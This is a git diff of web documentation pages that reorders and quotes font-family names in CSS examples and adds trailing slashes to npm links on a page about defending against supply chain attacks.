--- a/files/en-us/web/media/guides/audio_and_video_delivery/adding_captions_and_subtitles_to_html5_video/index.md
+++ b/files/en-us/web/media/guides/audio_and_video_delivery/adding_captions_and_subtitles_to_html5_video/index.md
@@ -109,8 +109,8 @@ In addition to adding the `<track>` elements, we have also added a new button to
 :root {
   color: #333333;
   font-family:
-    "Lucida Grande", "Lucida Sans Unicode", "DejaVu Sans", "Lucida", "Arial",
-    "Helvetica", sans-serif;
+    "Lucida Grande", "Lucida Sans Unicode", "DejaVu Sans", "Lucida",
+    "Helvetica", "Arial", sans-serif;
 }
 a {
   color: #0095dd;
diff --git a/files/en-us/web/media/guides/audio_and_video_delivery/cross_browser_video_player/index.md b/files/en-us/web/media/guides/audio_and_video_delivery/cross_browser_video_player/index.md
index a020074c82fe032..d9fc0372bbcf2d9 100644
--- a/files/en-us/web/media/guides/audio_and_video_delivery/cross_browser_video_player/index.md
+++ b/files/en-us/web/media/guides/audio_and_video_delivery/cross_browser_video_player/index.md
@@ -280,8 +280,8 @@ The CSS part is hidden for this tutorial, but you can click "Play" to see the fu
 :root {
   color: #333333;
   font-family:
-    "Lucida Grande", "Lucida Sans Unicode", "DejaVu Sans", "Lucida", "Arial",
-    "Helvetica", sans-serif;
+    "Lucida Grande", "Lucida Sans Unicode", "DejaVu Sans", "Lucida",
+    "Helvetica", "Arial", sans-serif;
 }
 a {
   color: #0095dd;
diff --git a/files/en-us/web/media/guides/audio_and_video_delivery/video_player_styling_basics/index.md b/files/en-us/web/media/guides/audio_and_video_delivery/video_player_styling_basics/index.md
index 725ef1af1862468..e6a1b0a14e0c5d8 100644
--- a/files/en-us/web/media/guides/audio_and_video_delivery/video_player_styling_basics/index.md
+++ b/files/en-us/web/media/guides/audio_and_video_delivery/video_player_styling_basics/index.md
@@ -76,8 +76,8 @@ The resultant video player style used here is rather basic — this is intention
 :root {
   color: #333333;
   font-family:
-    "Lucida Grande", "Lucida Sans Unicode", "DejaVu Sans", "Lucida", "Arial",
-    "Helvetica", sans-serif;
+    "Lucida Grande", "Lucida Sans Unicode", "DejaVu Sans", "Lucida",
+    "Helvetica", "Arial", sans-serif;
 }
 a {
   color: #0095dd;
diff --git a/files/en-us/web/progressive_web_apps/manifest/reference/orientation/index.md b/files/en-us/web/progressive_web_apps/manifest/reference/orientation/index.md
index c2b869af11ba05f..e746b746a42dc38 100644
--- a/files/en-us/web/progressive_web_apps/manifest/reference/orientation/index.md
+++ b/files/en-us/web/progressive_web_apps/manifest/reference/orientation/index.md
@@ -205,7 +205,7 @@ The example below illustrates how a web app's layout might appear when a mobile
 
 .label {
   margin-top: 10px;
-  font-family: Arial, sans-serif;
+  font-family: "Arial", sans-serif;
   font-size: 15px;
 }
 ```
diff --git a/files/en-us/web/security/attacks/supply_chain_attacks/index.md b/files/en-us/web/security/attacks/supply_chain_attacks/index.md
index 4f712659517b056..7a49386dbfb325a 100644
--- a/files/en-us/web/security/attacks/supply_chain_attacks/index.md
+++ b/files/en-us/web/security/attacks/supply_chain_attacks/index.md
@@ -79,7 +79,7 @@ However, updating dependencies too eagerly comes with its own risks. For example
 
 The first step towards securing dependency updates is to use a _lockfile_ for dependencies, commit it to source control, and use it when building your project.
 
-Package managers like [npm](https://www.npmjs.com/) and [Yarn](https://yarnpkg.com/) let you provide a file such as [package.json](https://docs.npmjs.com/cli/configuring-npm/package-json) that lists your project's dependencies. You can then run a command that installs the given dependencies so the project can use them.
+Package managers like [npm](https://www.npmjs.com/) and [Yarn](https://yarnpkg.com/) let you provide a file such as [package.json](https://docs.npmjs.com/cli/configuring-npm/package-json/) that lists your project's dependencies. You can then run a command that installs the given dependencies so the project can use them.
 
 However, the dependency list doesn't determine the exact version of each package: if the package supplier releases a new version, then it may be automatically included in your project when it is built. If the new version of the dependency is malicious, it may be included in your project automatically, without you even being aware of it.
 
@@ -105,7 +105,7 @@ The solution to this is to use a lockfile when building your project. A lockfile
 
 That is, if _package.json_ tells you that your project is using "example-project", then _package.lock_ will tell you exactly which version of "example-project" to use, and what the versions of its dependencies are.
 
-Your project's lockfile should be checked into source control. When building your project you should use the lockfile to control which versions of your dependencies are installed: in npm you do this by using [`npm ci`](https://docs.npmjs.com/cli/commands/npm-ci) instead of `npm install`.
+Your project's lockfile should be checked into source control. When building your project you should use the lockfile to control which versions of your dependencies are installed: in npm you do this by using [`npm ci`](https://docs.npmjs.com/cli/commands/npm-ci/) instead of `npm install`.
 
 > [!NOTE]
 > Fixing the versions of your dependencies in this way is sometimes called "version pinning".
@@ -160,7 +160,7 @@ The SBOM also lists vulnerabilities that have been identified in the product's d
 
 #### Creating an SBOM
 
-You can generate an SBOM for a product using a separate tool such as [cdxgen](https://cyclonedx.github.io/cdxgen/#/) or a command such as [`npm sbom`](https://docs.npmjs.com/cli/commands/npm-sbom). An SBOM is usually generated as part of the build process, although it is possible to generate one at other stages of the software lifecycle.
+You can generate an SBOM for a product using a separate tool such as [cdxgen](https://cyclonedx.github.io/cdxgen/#/) or a command such as [`npm sbom`](https://docs.npmjs.com/cli/commands/npm-sbom/). An SBOM is usually generated as part of the build process, although it is possible to generate one at other stages of the software lifecycle.
 
 #### Using an SBOM
 
diff --git a/files/en-us/web/svg/reference/attribute/dominant-baseline/index.md b/files/en-us/web/svg/reference/attribute/dominant-baseline/index.md
index 5633d40a02d58c1..fff6aa16008ea10 100644
--- a/files/en-us/web/svg/reference/attribute/dominant-baseline/index.md
+++ b/files/en-us/web/svg/reference/attribute/dominant-baseline/index.md
@@ -38,9 +38,9 @@ svg {
 
 text {
   font:
-    bold 14px Verdana,
-    Helvetica,
-    Arial,
+    bold 14px "Helvetica",
+    "Verdana",
+    "Arial",
     sans-serif;
 }
 ```
diff --git a/files/en-us/web/svg/reference/attribute/operator/index.md b/files/en-us/web/svg/reference/attribute/operator/index.md
index 7e00abc6c3affbe..e94ef69885d62bc 100644
--- a/files/en-us/web/svg/reference/attribute/operator/index.md
+++ b/files/en-us/web/svg/reference/attribute/operator/index.md
@@ -23,8 +23,8 @@ body,
 svg {
   height: 100%;
   font:
-    20px Arial,
-    Helvetica,
+    20px "Helvetica",
+    "Arial",
     sans-serif;
 }
 ```
diff --git a/files/en-us/web/svg/reference/attribute/side/index.md b/files/en-us/web/svg/reference/attribute/side/index.md
index 7d365bd0541af99..997db77b5251a0c 100644
--- a/files/en-us/web/svg/reference/attribute/side/index.md
+++ b/files/en-us/web/svg/reference/attribute/side/index.md
@@ -27,8 +27,8 @@ svg {
 
 text {
   font:
-    25px Arial,
-    Helvetica,
+    25px "Helvetica",
+    "Arial",
     sans-serif;
 }
 ```
diff --git a/files/en-us/web/svg/reference/attribute/target/index.md b/files/en-us/web/svg/reference/attribute/target/index.md
index 097bbebbf6a1b36..0fc5bb05c2493e6 100644
--- a/files/en-us/web/svg/reference/attribute/target/index.md
+++ b/files/en-us/web/svg/reference/attribute/target/index.md
@@ -23,8 +23,8 @@ svg {
 
 text {
   font:
-    20px Arial,
-    Helvetica,
+    20px "Helvetica",
+    "Arial",
     sans-serif;
   fill: blue;
   text-decoration: underline;
diff --git a/files/en-us/web/svg/reference/element/femorphology/index.md b/files/en-us/web/svg/reference/element/femorphology/index.md
index 0c4ae2bd761d596..3c196aa8a90b933 100644
--- a/files/en-us/web/svg/reference/element/femorphology/index.md
+++ b/files/en-us/web/svg/reference/element/femorphology/index.md
@@ -48,7 +48,7 @@ This element implements the {{domxref("SVGFEMorphologyElement")}} interface.
 
 ```css
 text {
-  font-family: Arial, Helvetica, sans-serif;
+  font-family: "Helvetica", "Arial", sans-serif;
   font-size: 3em;
 }
 
@@ -87,7 +87,7 @@ text {
 ```css
 p {
   margin: 0;
-  font-family: Arial, Helvetica, sans-serif;
+  font-family: "Helvetica", "Arial", sans-serif;
   font-size: 3em;
 }
 
diff --git a/files/en-us/web/svg/tutorials/svg_from_scratch/using_fonts/index.md b/files/en-us/web/svg/tutorials/svg_from_scratch/using_fonts/index.md
index eeb0e1d129a143f..4759f723aac2b88 100644
--- a/files/en-us/web/svg/tutorials/svg_from_scratch/using_fonts/index.md
+++ b/files/en-us/web/svg/tutorials/svg_from_scratch/using_fonts/index.md
@@ -20,7 +20,7 @@ Note that the CSS here is nested within an SVG {{SVGElement("style")}} element,
   <style>
     text {
       /* Specify the system or custom font to use */
-      font-family: "Courier New", sans-serif;
+      font-family: "Courier New", monospace;
 
       /* Add other styling */
       font-size: 24px;